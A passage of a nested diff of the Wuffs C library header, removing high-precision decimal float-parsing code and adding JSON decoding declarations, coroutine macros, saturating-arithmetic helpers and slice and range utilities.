+- // bits of ret.value so that the 23-bit mantissa is non-zero. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | 0x7FBFFFFF | ((uint32_t)(man >> 29)); +- ret.lossy = false; +- return ret; ++ const QuirkKeyValuePair* ptr; ++ const size_t len; ++}; + +- } else if (exp > 0x47E) { // Truncate to the largest finite f32. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | 0x7F7FFFFF; +- ret.lossy = true; +- return ret; ++// DecodeJsonArgJsonPointer wraps an optional argument to DecodeJson. ++struct DecodeJsonArgJsonPointer { ++ explicit DecodeJsonArgJsonPointer(std::string repr0); + +- } else if (exp <= 0x369) { // Truncate to zero. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg; +- ret.lossy = (u != 0); +- return ret; ++ // DefaultValue returns an empty string. ++ static DecodeJsonArgJsonPointer DefaultValue(); + +- } else if (exp <= 0x380) { // Normal f64, subnormal f32. +- // Convert from a 53-bit mantissa (after realizing the implicit bit) to a +- // 23-bit mantissa and then adjust for the exponent. +- man |= 0x0010000000000000; +- uint32_t shift = ((uint32_t)(926 - exp)); // 926 = 0x380 + 53 - 23. +- uint64_t shifted_man = man >> shift; +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | ((uint32_t)shifted_man); +- ret.lossy = (shifted_man << shift) != man; +- return ret; +- } ++ std::string repr; ++}; + +- // Normal f64, normal f32. ++// DecodeJson calls callbacks based on the JSON-formatted data in input. ++// ++// On success, the returned error_message is empty and cursor_position counts ++// the number of bytes consumed. On failure, error_message is non-empty and ++// cursor_position is the location of the error. That error may be a content ++// error (invalid JSON) or an input error (e.g. network failure). ++// ++// json_pointer is a query in the JSON Pointer (RFC 6901) syntax. The callbacks ++// run for the input's sub-node that matches the query. DecodeJson_NoMatch is ++// returned if no matching sub-node was found. The empty query matches the ++// input's root node, consistent with JSON Pointer semantics. ++// ++// The JSON Pointer implementation is greedy: duplicate keys are not rejected ++// but only the first match for each '/'-separated fragment is followed. ++DecodeJsonResult // ++DecodeJson(DecodeJsonCallbacks& callbacks, ++ sync_io::Input& input, ++ DecodeJsonArgQuirks quirks = DecodeJsonArgQuirks::DefaultValue(), ++ DecodeJsonArgJsonPointer json_pointer = ++ DecodeJsonArgJsonPointer::DefaultValue()); + +- // Re-bias from 1023 to 127 and shift above f32's 23 mantissa bits. +- exp = (exp - 896) << 23; // 896 = 1023 - 127 = 0x3FF - 0x7F. ++} // namespace wuffs_aux + +- // Convert from a 52-bit mantissa (excluding the implicit bit) to a 23-bit +- // mantissa (again excluding the implicit bit). We lose some information if +- // any of the bottom 29 bits are non-zero. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | ((uint32_t)exp) | ((uint32_t)(man >> 29)); +- ret.lossy = (man << 35) != 0; +- return ret; +-} ++#endif // defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +-// -------- ++// ‼ WUFFS C HEADER ENDS HERE. ++#ifdef WUFFS_IMPLEMENTATION + +-#define WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE 2047 +-#define WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION 800 ++#ifdef __cplusplus ++extern "C" { ++#endif + +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL is the largest N +-// such that ((10 << N) < (1 << 64)). +-#define WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL 60 ++// ---------------- Fundamentals + +-// wuffs_base__private_implementation__high_prec_dec (abbreviated as HPD) is a +-// fixed precision floating point decimal number, augmented with ±infinity +-// values, but it cannot represent NaN (Not a Number). ++// WUFFS_BASE__MAGIC is a magic number to check that initializers are called. ++// It's not foolproof, given C doesn't automatically zero memory before use, ++// but it should catch 99.99% of cases. + // +-// "High precision" means that the mantissa holds 800 decimal digits. 800 is +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION. ++// Its (non-zero) value is arbitrary, based on md5sum("wuffs"). ++#define WUFFS_BASE__MAGIC ((uint32_t)0x3CCB6C71) ++ ++// WUFFS_BASE__DISABLED is a magic number to indicate that a non-recoverable ++// error was previously encountered. + // +-// An HPD isn't for general purpose arithmetic, only for conversions to and +-// from IEEE 754 double-precision floating point, where the largest and +-// smallest positive, finite values are approximately 1.8e+308 and 4.9e-324. +-// HPD exponents above +2047 mean infinity, below -2047 mean zero. The ±2047 +-// bounds are further away from zero than ±(324 + 800), where 800 and 2047 is +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION and +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE. ++// Its (non-zero) value is arbitrary, based on md5sum("disabled"). ++#define WUFFS_BASE__DISABLED ((uint32_t)0x075AE3D2) ++ ++// Use switch cases for coroutine suspension points, similar to the technique ++// in https://www.chiark.greenend.org.uk/~sgtatham/coroutines.html + // +-// digits[.. num_digits] are the number's digits in big-endian order. The +-// uint8_t values are in the range [0 ..= 9], not ['0' ..= '9'], where e.g. '7' +-// is the ASCII value 0x37. ++// The implicit fallthrough is intentional. + // +-// decimal_point is the index (within digits) of the decimal point. It may be +-// negative or be larger than num_digits, in which case the explicit digits are +-// padded with implicit zeroes. ++// We use trivial macros instead of an explicit assignment and case statement ++// so that clang-format doesn't get confused by the unusual "case"s. ++#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0 case 0:; ++#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT(n) \ ++ coro_susp_point = n; \ ++ case n:; ++ ++#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(n) \ ++ if (!status.repr) { \ ++ goto ok; \ ++ } else if (*status.repr != '$') { \ ++ goto exit; \ ++ } \ ++ coro_susp_point = n; \ ++ goto suspend; \ ++ case n:; ++ ++// The "defined(__clang__)" isn't redundant. While vanilla clang defines ++// __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. ++#if defined(__GNUC__) || defined(__clang__) ++#define WUFFS_BASE__LIKELY(expr) (__builtin_expect(!!(expr), 1)) ++#define WUFFS_BASE__UNLIKELY(expr) (__builtin_expect(!!(expr), 0)) ++#else ++#define WUFFS_BASE__LIKELY(expr) (expr) ++#define WUFFS_BASE__UNLIKELY(expr) (expr) ++#endif ++ ++// -------- ++ ++static inline wuffs_base__empty_struct // ++wuffs_private_impl__ignore_status(wuffs_base__status z) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++static inline wuffs_base__status // ++wuffs_private_impl__status__ensure_not_a_suspension(wuffs_base__status z) { ++ if (z.repr && (*z.repr == '$')) { ++ z.repr = wuffs_base__error__cannot_return_a_suspension; ++ } ++ return z; ++} ++ ++// -------- ++ ++// wuffs_private_impl__iterate_total_advance returns the exclusive ++// pointer-offset at which iteration should stop. The overall slice has length ++// total_len, each iteration's sub-slice has length iter_len and are placed ++// iter_advance apart. + // +-// For example, if num_digits is 3 and digits is "\x07\x08\x09": +-// - A decimal_point of -2 means ".00789" +-// - A decimal_point of -1 means ".0789" +-// - A decimal_point of +0 means ".789" +-// - A decimal_point of +1 means "7.89" +-// - A decimal_point of +2 means "78.9" +-// - A decimal_point of +3 means "789." +-// - A decimal_point of +4 means "7890." +-// - A decimal_point of +5 means "78900." ++// The iter_advance may not be larger than iter_len. The iter_advance may be ++// smaller than iter_len, in which case the sub-slices will overlap. + // +-// As above, a decimal_point higher than +2047 means that the overall value is +-// infinity, lower than -2047 means zero. ++// The return value r satisfies ((0 <= r) && (r <= total_len)). + // +-// negative is a sign bit. An HPD can distinguish positive and negative zero. ++// For example, if total_len = 15, iter_len = 5 and iter_advance = 3, there are ++// four iterations at offsets 0, 3, 6 and 9. This function returns 12. + // +-// truncated is whether there are more than +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION digits, and at +-// least one of those extra digits are non-zero. The existence of long-tail +-// digits can affect rounding. ++// 0123456789012345 ++// [....] ++// [....] ++// [....] ++// [....] ++// $ ++// 0123456789012345 + // +-// The "all fields are zero" value is valid, and represents the number +0. +-typedef struct wuffs_base__private_implementation__high_prec_dec__struct { +- uint32_t num_digits; +- int32_t decimal_point; +- bool negative; +- bool truncated; +- uint8_t digits[WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION]; +-} wuffs_base__private_implementation__high_prec_dec; +- +-// wuffs_base__private_implementation__high_prec_dec__trim trims trailing +-// zeroes from the h->digits[.. h->num_digits] slice. They have no benefit, +-// since we explicitly track h->decimal_point. ++// For example, if total_len = 15, iter_len = 5 and iter_advance = 5, there are ++// three iterations at offsets 0, 5 and 10. This function returns 15. + // +-// Preconditions: +-// - h is non-NULL. +-static inline void // +-wuffs_base__private_implementation__high_prec_dec__trim( +- wuffs_base__private_implementation__high_prec_dec* h) { +- while ((h->num_digits > 0) && (h->digits[h->num_digits - 1] == 0)) { +- h->num_digits--; ++// 0123456789012345 ++// [....] ++// [....] ++// [....] ++// $ ++// 0123456789012345 ++static inline size_t // ++wuffs_private_impl__iterate_total_advance(size_t total_len, ++ size_t iter_len, ++ size_t iter_advance) { ++ if (total_len >= iter_len) { ++ size_t n = total_len - iter_len; ++ return ((n / iter_advance) * iter_advance) + iter_advance; + } ++ return 0; + } + +-// wuffs_base__private_implementation__high_prec_dec__assign sets h to +-// represent the number x. +-// +-// Preconditions: +-// - h is non-NULL. +-static void // +-wuffs_base__private_implementation__high_prec_dec__assign( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint64_t x, +- bool negative) { +- uint32_t n = 0; ++// ---------------- Numeric Types + +- // Set h->digits. +- if (x > 0) { +- // Calculate the digits, working right-to-left. After we determine n (how +- // many digits there are), copy from buf to h->digits. +- // +- // UINT64_MAX, 18446744073709551615, is 20 digits long. It can be faster to +- // copy a constant number of bytes than a variable number (20 instead of +- // n). Make buf large enough (and start writing to it from the middle) so +- // that can we always copy 20 bytes: the slice buf[(20-n) .. (40-n)]. +- uint8_t buf[40] = {0}; +- uint8_t* ptr = &buf[20]; +- do { +- uint64_t remaining = x / 10; +- x -= remaining * 10; +- ptr--; +- *ptr = (uint8_t)x; +- n++; +- x = remaining; +- } while (x > 0); +- memcpy(h->digits, ptr, 20); +- } ++extern const uint8_t wuffs_private_impl__low_bits_mask__u8[8]; ++extern const uint16_t wuffs_private_impl__low_bits_mask__u16[16]; ++extern const uint32_t wuffs_private_impl__low_bits_mask__u32[32]; ++extern const uint64_t wuffs_private_impl__low_bits_mask__u64[64]; + +- // Set h's other fields. +- h->num_digits = n; +- h->decimal_point = (int32_t)n; +- h->negative = negative; +- h->truncated = false; +- wuffs_base__private_implementation__high_prec_dec__trim(h); ++#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U8(n) \ ++ (wuffs_private_impl__low_bits_mask__u8[n]) ++#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U16(n) \ ++ (wuffs_private_impl__low_bits_mask__u16[n]) ++#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(n) \ ++ (wuffs_private_impl__low_bits_mask__u32[n]) ++#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(n) \ ++ (wuffs_private_impl__low_bits_mask__u64[n]) ++ ++// -------- ++ ++static inline void // ++wuffs_private_impl__u8__sat_add_indirect(uint8_t* x, uint8_t y) { ++ *x = wuffs_base__u8__sat_add(*x, y); + } + +-static wuffs_base__status // +-wuffs_base__private_implementation__high_prec_dec__parse( +- wuffs_base__private_implementation__high_prec_dec* h, +- wuffs_base__slice_u8 s, +- uint32_t options) { +- if (!h) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- h->num_digits = 0; +- h->decimal_point = 0; +- h->negative = false; +- h->truncated = false; ++static inline void // ++wuffs_private_impl__u8__sat_sub_indirect(uint8_t* x, uint8_t y) { ++ *x = wuffs_base__u8__sat_sub(*x, y); ++} + +- uint8_t* p = s.ptr; +- uint8_t* q = s.ptr + s.len; ++static inline void // ++wuffs_private_impl__u16__sat_add_indirect(uint16_t* x, uint16_t y) { ++ *x = wuffs_base__u16__sat_add(*x, y); ++} + +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (;; p++) { +- if (p >= q) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } else if (*p != '_') { +- break; +- } +- } +- } ++static inline void // ++wuffs_private_impl__u16__sat_sub_indirect(uint16_t* x, uint16_t y) { ++ *x = wuffs_base__u16__sat_sub(*x, y); ++} + +- // Parse sign. +- do { +- if (*p == '+') { +- p++; +- } else if (*p == '-') { +- h->negative = true; +- p++; +- } else { +- break; +- } +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (;; p++) { +- if (p >= q) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } else if (*p != '_') { +- break; +- } +- } +- } +- } while (0); ++static inline void // ++wuffs_private_impl__u32__sat_add_indirect(uint32_t* x, uint32_t y) { ++ *x = wuffs_base__u32__sat_add(*x, y); ++} + +- // Parse digits, up to (and including) a '.', 'E' or 'e'. Examples for each +- // limb in this if-else chain: +- // - "0.789" +- // - "1002.789" +- // - ".789" +- // - Other (invalid input). +- uint32_t nd = 0; +- int32_t dp = 0; +- bool no_digits_before_separator = false; +- if (('0' == *p) && +- !(options & +- WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES)) { +- p++; +- for (;; p++) { +- if (p >= q) { +- goto after_all; +- } else if (*p == +- ((options & +- WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.')) { +- p++; +- goto after_sep; +- } else if ((*p == 'E') || (*p == 'e')) { +- p++; +- goto after_exp; +- } else if ((*p != '_') || +- !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- } ++static inline void // ++wuffs_private_impl__u32__sat_sub_indirect(uint32_t* x, uint32_t y) { ++ *x = wuffs_base__u32__sat_sub(*x, y); ++} + +- } else if (('0' <= *p) && (*p <= '9')) { +- if (*p == '0') { +- for (; (p < q) && (*p == '0'); p++) { +- } +- } else { +- h->digits[nd++] = (uint8_t)(*p - '0'); +- dp = (int32_t)nd; +- p++; +- } ++static inline void // ++wuffs_private_impl__u64__sat_add_indirect(uint64_t* x, uint64_t y) { ++ *x = wuffs_base__u64__sat_add(*x, y); ++} + +- for (;; p++) { +- if (p >= q) { +- goto after_all; +- } else if (('0' <= *p) && (*p <= '9')) { +- if (nd < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[nd++] = (uint8_t)(*p - '0'); +- dp = (int32_t)nd; +- } else if ('0' != *p) { +- // Long-tail non-zeroes set the truncated bit. +- h->truncated = true; +- } +- } else if (*p == +- ((options & +- WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.')) { +- p++; +- goto after_sep; +- } else if ((*p == 'E') || (*p == 'e')) { +- p++; +- goto after_exp; +- } else if ((*p != '_') || +- !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- } ++static inline void // ++wuffs_private_impl__u64__sat_sub_indirect(uint64_t* x, uint64_t y) { ++ *x = wuffs_base__u64__sat_sub(*x, y); ++} + +- } else if (*p == ((options & +- WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.')) { +- p++; +- no_digits_before_separator = true; ++// ---------------- Numeric Types (Utility) + +- } else { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } ++#define wuffs_base__utility__sign_extend_convert_u8_u32(a) \ ++ ((uint32_t)(int32_t)(int8_t)(a)) + +-after_sep: +- for (;; p++) { +- if (p >= q) { +- goto after_all; +- } else if ('0' == *p) { +- if (nd == 0) { +- // Track leading zeroes implicitly. +- dp--; +- } else if (nd < +- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[nd++] = (uint8_t)(*p - '0'); +- } +- } else if (('0' < *p) && (*p <= '9')) { +- if (nd < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[nd++] = (uint8_t)(*p - '0'); +- } else { +- // Long-tail non-zeroes set the truncated bit. +- h->truncated = true; +- } +- } else if ((*p == 'E') || (*p == 'e')) { +- p++; +- goto after_exp; +- } else if ((*p != '_') || +- !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- } ++#define wuffs_base__utility__sign_extend_convert_u16_u32(a) \ ++ ((uint32_t)(int32_t)(int16_t)(a)) + +-after_exp: +- do { +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (;; p++) { +- if (p >= q) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } else if (*p != '_') { +- break; +- } +- } +- } ++#define wuffs_base__utility__sign_extend_rshift_u32(a, n) \ ++ ((uint32_t)(((int32_t)(a)) >> (n))) + +- int32_t exp_sign = +1; +- if (*p == '+') { +- p++; +- } else if (*p == '-') { +- exp_sign = -1; +- p++; +- } ++#define wuffs_base__utility__sign_extend_rshift_u64(a, n) \ ++ ((uint64_t)(((int64_t)(a)) >> (n))) + +- int32_t exp = 0; +- const int32_t exp_large = +- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE + +- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION; +- bool saw_exp_digits = false; +- for (; p < q; p++) { +- if ((*p == '_') && +- (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- // No-op. +- } else if (('0' <= *p) && (*p <= '9')) { +- saw_exp_digits = true; +- if (exp < exp_large) { +- exp = (10 * exp) + ((int32_t)(*p - '0')); +- } +- } else { +- break; +- } +- } +- if (!saw_exp_digits) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- dp += exp_sign * exp; +- } while (0); ++#define wuffs_base__utility__make_bitvec256(e00, e01, e02, e03) \ ++ wuffs_base__make_bitvec256(e00, e01, e02, e03) + +-after_all: +- if (p != q) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- h->num_digits = nd; +- if (nd == 0) { +- if (no_digits_before_separator) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- h->decimal_point = 0; +- } else if (dp < +- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- h->decimal_point = +- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE - 1; +- } else if (dp > +- +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- h->decimal_point = +- +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE + 1; +- } else { +- h->decimal_point = dp; +- } +- wuffs_base__private_implementation__high_prec_dec__trim(h); +- return wuffs_base__make_status(NULL); +-} ++#define wuffs_base__utility__make_optional_u63(h, v) \ ++ wuffs_base__make_optional_u63(h, v) + +-// -------- ++// ---------------- Slices and Tables + +-// wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits +-// returns the number of additional decimal digits when left-shifting by shift. ++// This function basically returns (ptr + len), except that that expression is ++// Undefined Behavior in C (but not C++) when ptr is NULL, even if len is zero. + // +-// See below for preconditions. +-static uint32_t // +-wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t shift) { +- // Masking with 0x3F should be unnecessary (assuming the preconditions) but +- // it's cheap and ensures that we don't overflow the +- // wuffs_base__private_implementation__hpd_left_shift array. +- shift &= 63; ++// Precondition: (ptr != NULL) || (len == 0). ++static inline const uint8_t* // ++wuffs_private_impl__ptr_u8_plus_len(const uint8_t* ptr, size_t len) { ++ return ptr ? (ptr + len) : NULL; ++} + +- uint32_t x_a = wuffs_base__private_implementation__hpd_left_shift[shift]; +- uint32_t x_b = wuffs_base__private_implementation__hpd_left_shift[shift + 1]; +- uint32_t num_new_digits = x_a >> 11; +- uint32_t pow5_a = 0x7FF & x_a; +- uint32_t pow5_b = 0x7FF & x_b; ++// -------- + +- const uint8_t* pow5 = +- &wuffs_base__private_implementation__powers_of_5[pow5_a]; +- uint32_t i = 0; +- uint32_t n = pow5_b - pow5_a; +- for (; i < n; i++) { +- if (i >= h->num_digits) { +- return num_new_digits - 1; +- } else if (h->digits[i] == pow5[i]) { +- continue; +- } else if (h->digits[i] < pow5[i]) { +- return num_new_digits - 1; +- } else { +- return num_new_digits; +- } ++// wuffs_private_impl__slice_u8__prefix returns up to the first up_to bytes of ++// s. ++static inline wuffs_base__slice_u8 // ++wuffs_private_impl__slice_u8__prefix(wuffs_base__slice_u8 s, uint64_t up_to) { ++ if (((uint64_t)(s.len)) > up_to) { ++ s.len = ((size_t)up_to); + } +- return num_new_digits; ++ return s; + } + +-// -------- ++// wuffs_private_impl__slice_u8__suffix returns up to the last up_to bytes of ++// s. ++static inline wuffs_base__slice_u8 // ++wuffs_private_impl__slice_u8__suffix(wuffs_base__slice_u8 s, uint64_t up_to) { ++ if (((uint64_t)(s.len)) > up_to) { ++ s.ptr += ((uint64_t)(s.len)) - up_to; ++ s.len = ((size_t)up_to); ++ } ++ return s; ++} + +-// wuffs_base__private_implementation__high_prec_dec__rounded_integer returns +-// the integral (non-fractional) part of h, provided that it is 18 or fewer +-// decimal digits. For 19 or more digits, it returns UINT64_MAX. Note that: +-// - (1 << 53) is 9007199254740992, which has 16 decimal digits. +-// - (1 << 56) is 72057594037927936, which has 17 decimal digits. +-// - (1 << 59) is 576460752303423488, which has 18 decimal digits. +-// - (1 << 63) is 9223372036854775808, which has 19 decimal digits. +-// and that IEEE 754 double precision has 52 mantissa bits. ++// wuffs_private_impl__slice_u8__copy_from_slice calls memmove(dst.ptr, ++// src.ptr, len) where len is the minimum of dst.len and src.len. + // +-// That integral part is rounded-to-even: rounding 7.5 or 8.5 both give 8. +-// +-// h's negative bit is ignored: rounding -8.6 returns 9. +-// +-// See below for preconditions. +-static uint64_t // +-wuffs_base__private_implementation__high_prec_dec__rounded_integer( +- wuffs_base__private_implementation__high_prec_dec* h) { +- if ((h->num_digits == 0) || (h->decimal_point < 0)) { +- return 0; +- } else if (h->decimal_point > 18) { +- return UINT64_MAX; ++// Passing a wuffs_base__slice_u8 with all fields NULL or zero (a valid, empty ++// slice) is valid and results in a no-op. ++static inline uint64_t // ++wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src) { ++ size_t len = dst.len < src.len ? dst.len : src.len; ++ if (len > 0) { ++ memmove(dst.ptr, src.ptr, len); + } ++ return len; ++} + +- uint32_t dp = (uint32_t)(h->decimal_point); +- uint64_t n = 0; +- uint32_t i = 0; +- for (; i < dp; i++) { +- n = (10 * n) + ((i < h->num_digits) ? h->digits[i] : 0); ++static inline wuffs_base__empty_struct // ++wuffs_private_impl__bulk_load_host_endian(void* ptr, ++ size_t len, ++ wuffs_base__slice_u8 src) { ++ if (len && (len <= src.len)) { ++ memmove(ptr, src.ptr, len); + } ++ return wuffs_base__make_empty_struct(); ++} + +- bool round_up = false; +- if (dp < h->num_digits) { +- round_up = h->digits[dp] >= 5; +- if ((h->digits[dp] == 5) && (dp + 1 == h->num_digits)) { +- // We are exactly halfway. If we're truncated, round up, otherwise round +- // to even. +- round_up = h->truncated || // +- ((dp > 0) && (1 & h->digits[dp - 1])); +- } +- } +- if (round_up) { +- n++; ++static inline wuffs_base__empty_struct // ++wuffs_private_impl__bulk_memset(void* ptr, size_t len, uint8_t byte_value) { ++ if (len) { ++ memset(ptr, byte_value, len); + } ++ return wuffs_base__make_empty_struct(); ++} + +- return n; ++static inline wuffs_base__empty_struct // ++wuffs_private_impl__bulk_save_host_endian(void* ptr, ++ size_t len, ++ wuffs_base__slice_u8 dst) { ++ if (len && (len <= dst.len)) { ++ memmove(dst.ptr, ptr, len); ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// wuffs_base__private_implementation__high_prec_dec__small_xshift shifts h's +-// number (where 'x' is 'l' or 'r' for left or right) by a small shift value. +-// +-// Preconditions: +-// - h is non-NULL. +-// - h->decimal_point is "not extreme". +-// - shift is non-zero. +-// - shift is "a small shift". +-// +-// "Not extreme" means within +-// ±WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE. +-// +-// "A small shift" means not more than +-// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL. +-// +-// wuffs_base__private_implementation__high_prec_dec__rounded_integer and +-// wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits +-// have the same preconditions. +-// +-// wuffs_base__private_implementation__high_prec_dec__lshift keeps the first +-// two preconditions but not the last two. Its shift argument is signed and +-// does not need to be "small": zero is a no-op, positive means left shift and +-// negative means right shift. ++// -------- + +-static void // +-wuffs_base__private_implementation__high_prec_dec__small_lshift( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t shift) { +- if (h->num_digits == 0) { +- return; ++static inline wuffs_base__slice_u8 // ++wuffs_private_impl__table_u8__row_u32(wuffs_base__table_u8 t, uint32_t y) { ++ if (t.ptr && (y < t.height)) { ++ return wuffs_base__make_slice_u8(t.ptr + (t.stride * y), t.width); + } +- uint32_t num_new_digits = +- wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits( +- h, shift); +- uint32_t rx = h->num_digits - 1; // Read index. +- uint32_t wx = h->num_digits - 1 + num_new_digits; // Write index. +- uint64_t n = 0; ++ return wuffs_base__empty_slice_u8(); ++} + +- // Repeat: pick up a digit, put down a digit, right to left. +- while (((int32_t)rx) >= 0) { +- n += ((uint64_t)(h->digits[rx])) << shift; +- uint64_t quo = n / 10; +- uint64_t rem = n - (10 * quo); +- if (wx < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[wx] = (uint8_t)rem; +- } else if (rem > 0) { +- h->truncated = true; +- } +- n = quo; +- wx--; +- rx--; +- } ++// ---------------- Slices and Tables (Utility) + +- // Put down leading digits, right to left. +- while (n > 0) { +- uint64_t quo = n / 10; +- uint64_t rem = n - (10 * quo); +- if (wx < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[wx] = (uint8_t)rem; +- } else if (rem > 0) { +- h->truncated = true; +- } +- n = quo; +- wx--; +- } ++#define wuffs_base__utility__empty_slice_u8 wuffs_base__empty_slice_u8 + +- // Finish. +- h->num_digits += num_new_digits; +- if (h->num_digits > +- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->num_digits = WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION; +- } +- h->decimal_point += (int32_t)num_new_digits; +- wuffs_base__private_implementation__high_prec_dec__trim(h); ++// ---------------- Ranges and Rects ++ ++static inline uint32_t // ++wuffs_private_impl__range_ii_u32__get_min_incl( ++ const wuffs_base__range_ii_u32* r) { ++ return r->min_incl; + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__small_rshift( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t shift) { +- uint32_t rx = 0; // Read index. +- uint32_t wx = 0; // Write index. +- uint64_t n = 0; ++static inline uint32_t // ++wuffs_private_impl__range_ii_u32__get_max_incl( ++ const wuffs_base__range_ii_u32* r) { ++ return r->max_incl; ++} + +- // Pick up enough leading digits to cover the first shift. +- while ((n >> shift) == 0) { +- if (rx < h->num_digits) { +- // Read a digit. +- n = (10 * n) + h->digits[rx++]; +- } else if (n == 0) { +- // h's number used to be zero and remains zero. +- return; +- } else { +- // Read sufficient implicit trailing zeroes. +- while ((n >> shift) == 0) { +- n = 10 * n; +- rx++; +- } +- break; +- } +- } +- h->decimal_point -= ((int32_t)(rx - 1)); +- if (h->decimal_point < +- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- // After the shift, h's number is effectively zero. +- h->num_digits = 0; +- h->decimal_point = 0; +- h->truncated = false; +- return; +- } ++static inline uint32_t // ++wuffs_private_impl__range_ie_u32__get_min_incl( ++ const wuffs_base__range_ie_u32* r) { ++ return r->min_incl; ++} + +- // Repeat: pick up a digit, put down a digit, left to right. +- uint64_t mask = (((uint64_t)(1)) << shift) - 1; +- while (rx < h->num_digits) { +- uint8_t new_digit = ((uint8_t)(n >> shift)); +- n = (10 * (n & mask)) + h->digits[rx++]; +- h->digits[wx++] = new_digit; +- } ++static inline uint32_t // ++wuffs_private_impl__range_ie_u32__get_max_excl( ++ const wuffs_base__range_ie_u32* r) { ++ return r->max_excl; ++} + +- // Put down trailing digits, left to right. +- while (n > 0) { +- uint8_t new_digit = ((uint8_t)(n >> shift)); +- n = 10 * (n & mask); +- if (wx < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[wx++] = new_digit; +- } else if (new_digit > 0) { +- h->truncated = true; +- } +- } ++static inline uint64_t // ++wuffs_private_impl__range_ii_u64__get_min_incl( ++ const wuffs_base__range_ii_u64* r) { ++ return 